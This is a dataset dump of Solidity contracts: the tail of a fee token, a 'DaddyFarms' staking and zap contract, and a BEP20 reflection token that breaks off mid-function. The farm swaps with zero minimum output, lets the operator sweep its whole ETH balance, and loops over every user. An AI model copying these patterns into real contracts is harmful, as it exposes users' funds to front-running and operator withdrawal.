_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 297,732 | 12,753 |
7db351297c9297eecabf94179566866932db27d60c7de927793666a632ea31a0
| 22,210 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/b7/B787bc0391E2c93d759dc63C717270fcEcb1f111_DaddyFarms.sol
| 5,653 | 21,543 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDexFactory {
function getPair(address tokenA, address tokenB) external view returns(address);
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external payable returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
contract DaddyFarms {
// DATA
address private _operator;
address private _feeReceiver;
address private _devWallet;
address private _daddy;
address private _daddyLP;
address private _router;
mapping(address => bool) _auth;
mapping(address => bool) _authRobot;
uint256 public _depositFee;
uint256 public _zapFee;
uint256 public _marketFee;
uint256 public _burnFee;
uint256 private _lastEU;
uint256 private _totalToDistribute;
uint256 private _distRate;
mapping(address => POOL) _pool;
struct POOL {
bool active;
uint256 pendingTotal;
uint256 userTotal;
uint256 depositFee;
uint256 emissions;
uint256 totalToDistribute;
address[] users;
mapping(address => bool) isUser;
mapping(address => uint256) uIndex;
mapping(address => uint256) uDeposit;
mapping(address => uint256) uPending;
}
constructor(address daddy, address router){
_operator = msg.sender;
_feeReceiver = msg.sender;
_devWallet = msg.sender;
_auth[msg.sender] = true;
_daddy = daddy;
_router = router;
_daddyLP = _getPair();
}
receive() external payable {}
// VIEW
function getDaddy() public view returns(address){ return _daddy; }
function getLP() public view returns(address){ return _daddyLP; }
function getUserDeposit(address pool, address user) public view returns(uint256){ return _pool[pool].uDeposit[user]; }
function getUserPending(address pool, address user) public view returns(uint256){ return _pool[pool].uPending[user]; }
function getUserTotal(address pool) public view returns(uint256){ return _pool[pool].userTotal; }
function getPendingDistribution(address pool) public view returns(uint256){ return _pool[pool].totalToDistribute; }
function getEmissions(address pool) public view returns(uint256){ return _pool[pool].emissions; }
// ACTIVE
function zapETH() public payable open(_daddyLP) goodRobot {
require(msg.value != 0, "Cannot zap the nothingness");
uint256 zapValue = msg.value;
if(_zapFee != 0){
uint256 zFee = (zapValue * _zapFee) / 10000;
zapValue -= zFee;
_processFee(address(0), zFee);
}
uint256 eValue = zapValue / 2;
uint256 tValue = _swapToken(eValue, false);
uint256 zapRec = _addLiquidity(eValue, tValue);
if(!_pool[_daddyLP].isUser[msg.sender]){ _modUser(msg.sender, _daddyLP, true); }
_pool[_daddyLP].uDeposit[msg.sender] += zapRec;
_pool[_daddyLP].userTotal += zapRec;
_updateEmission();
_tricycle(_daddyLP);
}
function zapToken(uint256 value) public open(_daddyLP) goodRobot {
require(value != 0, "Cannot zap the nothingness");
uint256 zapValue = _tokenIntake(_daddy, msg.sender, value);
if(_zapFee != 0){
uint256 zFee = (zapValue * _zapFee) / 10000;
zapValue -= zFee;
_processFee(_daddy, zFee);
}
uint256 tValue = zapValue / 2;
uint256 eValue = _swapToken(tValue, true);
uint256 zapRec = _addLiquidity(eValue, tValue);
if(!_pool[_daddyLP].isUser[msg.sender]){ _modUser(msg.sender, _daddyLP, true); }
_pool[_daddyLP].uDeposit[msg.sender] += zapRec;
_pool[_daddyLP].userTotal += zapRec;
_updateEmission();
_tricycle(_daddyLP);
}
function removeLiquidity(uint256 value, bool getToken) public {
uint256 lValue = _tokenIntake(_daddyLP, msg.sender, value);
(uint256 rETH, uint256 rToken) = _removeLiquidity(lValue);
if(getToken){
uint256 rToken1 = _swapToken(rETH, false);
IERC20(_daddy).transfer(msg.sender, rToken + rToken1);
} else {
IERC20(_daddy).transfer(msg.sender, rToken);
(bool success,) = payable(msg.sender).call{ value: rETH }("");
require(success, "User Denied Transfer");
}
}
function deposit(address token, uint256 value) public open(token) goodRobot {
require(value != 0, "Cannot deposit Nothing");
uint256 depVal = _tokenIntake(token, msg.sender, value);
if(_pool[token].depositFee != 0){
uint256 dFee = (depVal * _pool[token].depositFee) / 10000;
depVal -= dFee;
_processFee(token, dFee);
}
if(!_pool[token].isUser[msg.sender]){ _modUser(msg.sender, token, true); }
_pool[token].uDeposit[msg.sender] += depVal;
_pool[token].userTotal += depVal;
_updateEmission();
_tricycle(token);
}
function withdraw(address token, uint256 value) public {
require(_pool[token].uDeposit[msg.sender] >= value);
_pool[token].uDeposit[msg.sender] -= value;
_pool[token].userTotal -= value;
if(_pool[token].uDeposit[msg.sender] == 0){ _modUser(msg.sender, token, false); }
if(_pool[token].uPending[msg.sender] != 0){
uint256 pValue = _pool[token].uPending[msg.sender];
_pool[token].uPending[msg.sender] = 0;
_pool[token].pendingTotal -= pValue;
IERC20(_daddy).transfer(msg.sender, pValue);
} IERC20(token).transfer(msg.sender, value);
_updateEmission();
_tricycle(token);
}
function emergencyWithdraw(address pool) public {
require(_pool[pool].uDeposit[msg.sender] != 0, "User not found");
uint256 uValue = _pool[pool].uDeposit[msg.sender];
_pool[pool].uDeposit[msg.sender] = 0;
_pool[pool].userTotal -= uValue;
_modUser(msg.sender, pool, false);
IERC20(pool).transfer(msg.sender, uValue);
}
function claimPending(address pool, bool compound) public goodRobot {
require(_pool[pool].uPending[msg.sender] != 0, "Nothing to collect");
uint256 value = _pool[pool].uPending[msg.sender];
_pool[pool].uPending[msg.sender] = 0;
_pool[pool].pendingTotal -= value;
if(!compound){ IERC20(_daddy).transfer(msg.sender, value); }
else {
if(pool == _daddy){
require(_pool[_daddy].active, "Compound currently disabled");
if(!_pool[_daddy].isUser[msg.sender]){ _modUser(msg.sender, _daddy, true); }
_pool[pool].uDeposit[msg.sender] += value;
_pool[pool].userTotal += value;
} else if(pool == _daddyLP){
require(_pool[_daddyLP].active, "Compound currently disabled");
if(!_pool[_daddyLP].isUser[msg.sender]){ _modUser(msg.sender, _daddyLP, true); }
uint256 tValue = value / 2;
uint256 eValue = _swapToken(tValue, true);
uint256 pValue = _addLiquidity(eValue, tValue);
_pool[pool].uDeposit[msg.sender] += pValue;
_pool[pool].userTotal += pValue;
} else { revert("Invalid Pool"); }
}
}
// OPERATIONS
function setAuthState(address user, bool state) public OP { _auth[user] = state; }
function setAuthRobot(address bot, bool state) public OP { _authRobot[bot] = state; }
function emergencyResetTime() public OP { _lastEU = block.timestamp; }
function setFeeReceiver(address account) public OP { _feeReceiver = account; }
function setDevWallet(address account) public dev { _devWallet = account; }
function setDistRate(uint256 rate) public OP { _distRate = rate; }
function setEmissions(uint256 token, uint256 LP) public OP {
require(token + LP == 100, "Invalid range");
if(token == 0){ _pool[_daddy].active = false; }
else { if(!_pool[_daddy].active){ _pool[_daddy].active = true; }}
if(LP == 0){ _pool[_daddyLP].active = false; }
else{ if(!_pool[_daddyLP].active){ _pool[_daddyLP].active = true; }}
_pool[_daddy].emissions = token;
_pool[_daddyLP].emissions = LP;
}
function transferOperator(address newOP) public OP {
require(newOP != address(0), "Contract cannot be Renounced");
_operator = newOP;
}
function setPoolFee(address pool, uint256 fee) public OP {
require(fee <= 200, "Fee Capped at 2%");
_pool[pool].depositFee = fee;
}
function setZapFee(uint256 fee) public OP {
require(fee <= 200, "Fee Capped at 2%");
_zapFee = fee;
}
function setBurnFee(uint256 fee) public OP {
require(fee + _marketFee <= 100);
_burnFee = fee;
}
function setMarketFee(uint256 fee) public OP {
require(fee + _burnFee <= 100);
_marketFee = fee;
}
function collectExcess(address token) public OP {
uint256 userToken = _pool[token].userTotal;
if(token == _daddy){
uint256 uValue = _pool[_daddy].pendingTotal + _pool[_daddy].totalToDistribute
+ _pool[_daddyLP].pendingTotal + _pool[_daddyLP].totalToDistribute + _totalToDistribute;
userToken += uValue;
require(IERC20(_daddy).balanceOf(address(this)) > userToken);
uint256 send = IERC20(token).balanceOf(address(this)) - userToken;
IERC20(_daddy).transfer(_feeReceiver, send);
} else if(token == address(0)){
payable(_feeReceiver).transfer(address(this).balance);
} else {
uint256 send = IERC20(token).balanceOf(address(this)) - userToken;
IERC20(token).transfer(_feeReceiver, send);
}
}
function initialSetup(uint256 value, uint256 dRate, uint256 tRate, uint256 lRate) public OP {
require(tRate + lRate == 100, "Invalid emission range");
uint256 iValue = _tokenIntake(_daddy, msg.sender, value);
_lastEU = block.timestamp;
_totalToDistribute += iValue;
_distRate = dRate;
if(tRate != 0){
_pool[_daddy].active = true;
_pool[_daddy].emissions = tRate;
} if(lRate != 0){
_pool[_daddyLP].active = true;
_pool[_daddyLP].emissions = lRate;
}
}
function inject(uint256 value) public auth {
uint256 injection = _tokenIntake(_daddy, msg.sender, value);
_totalToDistribute += injection;
}
function directInject(uint256 value) public auth {
uint256 injection = _tokenIntake(_daddy, msg.sender, value);
if(_pool[_daddy].emissions != 0){
uint256 tInject = (injection * _pool[_daddy].emissions) / 100;
_pool[_daddy].totalToDistribute += tInject;
} if(_pool[_daddyLP].emissions != 0){
uint256 lInject = (injection * _pool[_daddyLP].emissions) / 100;
_pool[_daddyLP].totalToDistribute += lInject;
}
}
// INTERNAL
function _tokenIntake(address token, address from, uint256 value) internal returns(uint256){
require(IERC20(token).allowance(from, address(this)) >= value, "Insufficient Allowance");
require(IERC20(token).balanceOf(from) >= value, "Insufficient Balance");
uint256 spotToken = IERC20(token).balanceOf(address(this));
IERC20(token).transferFrom(from, address(this), value);
uint256 recToken = IERC20(token).balanceOf(address(this)) - spotToken;
require(recToken != 0, "Token Transfer Failed");
return recToken;
}
function _processFee(address token, uint256 value) internal {
uint256 mFee;
uint256 bFee;
uint256 dFee;
if(_marketFee != 0){ mFee = (value * _marketFee) / 100; }
if(_burnFee != 0){ bFee = (value * _burnFee) / 100; }
if(token == address(0)){
dFee = value - mFee;
if(mFee != 0){ payable(_feeReceiver).transfer(mFee); }
if(dFee != 0){ payable(_devWallet).transfer(dFee); }
} else {
dFee = value - (mFee + bFee);
if(mFee != 0){ IERC20(token).transfer(_feeReceiver, mFee); }
if(dFee != 0){ IERC20(token).transfer(_devWallet, dFee); }
if(bFee != 0){ IERC20(token).transfer(address(0xdead), bFee); }
}
}
function _modUser(address user, address pool, bool add) internal {
if(add){
_pool[pool].isUser[user] = true;
_pool[pool].uIndex[user] = _pool[pool].users.length;
_pool[pool].users.push(user);
} else {
uint256 lastIndex = _pool[pool].users.length-1;
uint256 thisIndex = _pool[pool].uIndex[user];
address lastUser = _pool[pool].users[lastIndex];
_pool[pool].users[thisIndex] = lastUser;
_pool[pool].uIndex[lastUser] = thisIndex;
_pool[pool].isUser[user] = false;
_pool[pool].users.pop();
delete _pool[pool].uIndex[user];
}
}
function _swapToken(uint256 value, bool sell) internal returns(uint256){
if(sell){
address[] memory path = new address[](2);
path[0] = _daddy;
path[1] = IDexRouter(_router).WETH();
uint256 spotETH = address(this).balance;
IERC20(_daddy).approve(_router, value);
IDexRouter(_router).swapExactTokensForETHSupportingFeeOnTransferTokens
(value, 0, path, address(this), block.timestamp);
uint256 recETH = address(this).balance - spotETH;
require(recETH != 0, "Swap Failed");
return recETH;
} else {
address[] memory path = new address[](2);
path[0] = IDexRouter(_router).WETH();
path[1] = _daddy;
uint256 spotToken = IERC20(_daddy).balanceOf(address(this));
IDexRouter(_router).swapExactETHForTokensSupportingFeeOnTransferTokens{ value: value }
(0, path, address(this), block.timestamp);
uint256 recToken = IERC20(_daddy).balanceOf(address(this)) - spotToken;
require(recToken != 0, "Swap Failed");
return recToken;
}
}
function _addLiquidity(uint256 eValue, uint256 tValue) internal returns(uint256){
uint256 spotPair = IERC20(_daddyLP).balanceOf(address(this));
IERC20(_daddy).approve(_router, tValue);
IDexRouter(_router).addLiquidityETH{ value: eValue }
(_daddy, tValue, 0, 0, address(this), block.timestamp);
uint256 recPair = IERC20(_daddyLP).balanceOf(address(this)) - spotPair;
require(recPair != 0, "LP Creation failed");
return recPair;
}
function _removeLiquidity(uint256 pValue) internal returns(uint256,uint256){
uint256 spotToken = IERC20(_daddy).balanceOf(address(this));
uint256 spotETH = address(this).balance;
IERC20(_daddyLP).approve(_router, pValue);
IDexRouter(_router).removeLiquidityETH
(_daddy, pValue, 0, 0, address(this), block.timestamp);
uint256 recToken = IERC20(_daddy).balanceOf(address(this)) - spotToken;
uint256 recETH = address(this).balance - spotETH;
require(recToken != 0 && recETH != 0, "LP Destruction Failed");
return(recETH,recToken);
}
function _updateEmission() internal {
if(_lastEU + 60 <= block.timestamp){
uint256 pastEpoch = block.timestamp - _lastEU;
uint256 dValue = _distRate * pastEpoch;
if(dValue <= _totalToDistribute){
_lastEU = block.timestamp;
if(_pool[_daddy].emissions != 0){
uint256 tInject = (dValue * _pool[_daddy].emissions) / 100;
_pool[_daddy].totalToDistribute += tInject;
} if(_pool[_daddyLP].emissions != 0){
uint256 lInject = (dValue * _pool[_daddyLP].emissions) / 100;
_pool[_daddyLP].totalToDistribute += lInject;
} _totalToDistribute -= dValue;
} else {
if(_totalToDistribute != 0){
_lastEU = block.timestamp;
if(_pool[_daddy].emissions != 0){
uint256 tInject = (_totalToDistribute * _pool[_daddy].emissions) / 100;
_pool[_daddy].totalToDistribute += tInject;
} if(_pool[_daddyLP].emissions != 0){
uint256 lInject = (_totalToDistribute * _pool[_daddyLP].emissions) / 100;
_pool[_daddyLP].totalToDistribute += lInject;
} _totalToDistribute = 0;
}
}
}
}
function _tricycle(address token) internal {
if(_pool[token].totalToDistribute >= _pool[token].users.length * 10000){
uint256 distributed;
for(uint256 u = 0; u < _pool[token].users.length; u++){
address user = _pool[token].users[u];
uint256 uPer = (_pool[token].uDeposit[user] * 10000) / _pool[token].userTotal;
uint256 uCut = (_pool[token].totalToDistribute * uPer) / 10000;
_pool[token].uPending[user] += uCut;
distributed += uCut;
} _pool[token].pendingTotal += distributed;
_pool[token].totalToDistribute -= distributed;
}
}
function _getPair() internal view returns(address){
address factory = IDexRouter(_router).factory();
address weth = IDexRouter(_router).WETH();
address pair = IDexFactory(factory).getPair(weth, _daddy);
require(pair != address(0), "Cannot locate pair");
return pair;
}
function isContract(address account) internal view returns(bool){
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
// MODIFIERS
modifier OP(){ require(msg.sender == _operator); _; }
modifier auth(){ require(_auth[msg.sender], "User does not have permission"); _; }
modifier dev(){ require(msg.sender == _devWallet); _; }
modifier goodRobot(){ if(isContract(msg.sender)){ require(_authRobot[msg.sender], "Bad Robot!"); } _; }
modifier open(address pool){ require(_pool[pool].active, "Pool is closed"); _; }
}
| 315,615 | 12,754 |
4656225f0ae475ddd1c637f23628839afc8101bff3b936ead2c6a766367d984f
| 33,068 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/63/632cdea127f0c1df7260928a4279f8db2090a55a_Address.sol
| 5,161 | 19,945 |
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 * 10**6 * 10**7;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = '8Dollar.Net';
string private _symbol = '8DOLL';
uint8 private _decimals = 9;
uint256 private _taxFee = 4;
uint256 private _burnFee = 1;
uint256 private _maxTxAmount = 2500e9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
